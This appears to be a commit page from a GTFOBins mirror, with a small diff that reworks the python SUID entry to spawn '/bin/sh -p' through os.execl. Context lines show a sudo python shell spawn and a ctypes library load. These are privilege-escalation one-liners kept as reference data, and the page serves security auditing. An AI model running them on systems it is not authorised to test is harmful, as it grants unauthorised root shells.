1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 16:26:01 +02:00

Fix python SUID

This commit is contained in:
Emilio Pinna 2018-10-08 20:14:25 +01:00
parent 00dd36c73d
commit f14e511218

View File

@ -44,7 +44,7 @@ functions:
library-load:
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
suid:
- code: ./python -c 'import os; os.system("/bin/sh -p")'
- code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
sudo:
- code: sudo python -c 'import os; os.system("/bin/sh")'
capabilities: